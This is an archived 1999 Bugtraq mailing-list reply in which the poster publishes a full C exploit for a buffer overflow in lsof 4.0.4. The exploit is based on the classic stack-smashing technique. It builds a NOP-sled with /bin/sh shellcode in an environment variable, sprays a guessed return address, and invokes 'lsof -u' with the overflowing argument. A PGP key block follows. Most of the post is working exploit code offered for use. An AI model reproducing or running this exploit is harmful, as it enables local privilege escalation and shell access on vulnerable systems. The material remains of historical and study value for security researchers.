Re: [HERT] Advisory #002 Buffer overflow in lsof

From: Zhodiac (zhodiacat_private)
Date: Sun Feb 21 1999 - 14:38:22 PST

  • Next message: Michael Warfield: "Re: ISS install.iss security hole"

    Hi BUGTRAQ
    
    So here is the xploit for linux... since HERT does not make it availeable I
    will do for them...
    
    Greets :)
    
    Zhodiac
    
    -----------lsof-xploit.c-------------
    /*
     *
     *  Xploit for lsof 4.0.4 by Zhodiac <zhodiacat_private>
     *  Based on Aleph's article in phrack49
     *
     */
    
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                   0
    #define DEFAULT_BUFFER_SIZE             32
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;
      char comando[512];
    
      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);
    
      printf("\nXploit for lsof 4.04 by zhodiac <zhodiacat_private>\n\n");
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
    
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';
    
      memcpy(egg,"EGG=",4);
      putenv(egg);
      snprintf(comando,511,"lsof -u %s",buff);
      system(comando);
    }
    ------------ lsof-xploit.c----------------------
    
    
    
    --
    Type Bits/KeyID    Date       User ID
    pub  1024/B3B64055 1998/12/28 zhodiacat_private
    
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: 2.6.3i
    
    mQCNAzaID/QAAAEEANmIvioV2T0ebAF+jU44DOYb996rnhZshu6gENRjaTtUKV6v
    kcVVPamY5YCvYpK62c0Kz/mmT8Rr8OShQp1gBe/C+DhZBU5XGO+jkhO1PUqq5RH5
    JSFOSI5ijze80/Kl9IQb74ilWcLLsqL8uVx+mym6krjdpGXelW3wiUGztkBVAAUT
    tA96aG9kaWFjQHVzYS5uZXSJAJUDBRA2iA/1bfCJQbO2QFUBAR2wA/oCikvistBM
    yFUtxO2M/qXymHNH7H4p0FiKqlhF4HFz/su0HTw+0jzZIYehPvklWiEkhXhu7+H6
    HsCsFTKAh3/ccH/cwTegTyx0a0ZAjDlLhhgin7cN+VApokdITA/3aZb/2p5ADvBX
    E9dwTdvk8lZbNZOeXg4NtdjGrjyfXq5AGA==
    =WF9j
    -----END PGP PUBLIC KEY BLOCK-----
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:36:53 PDT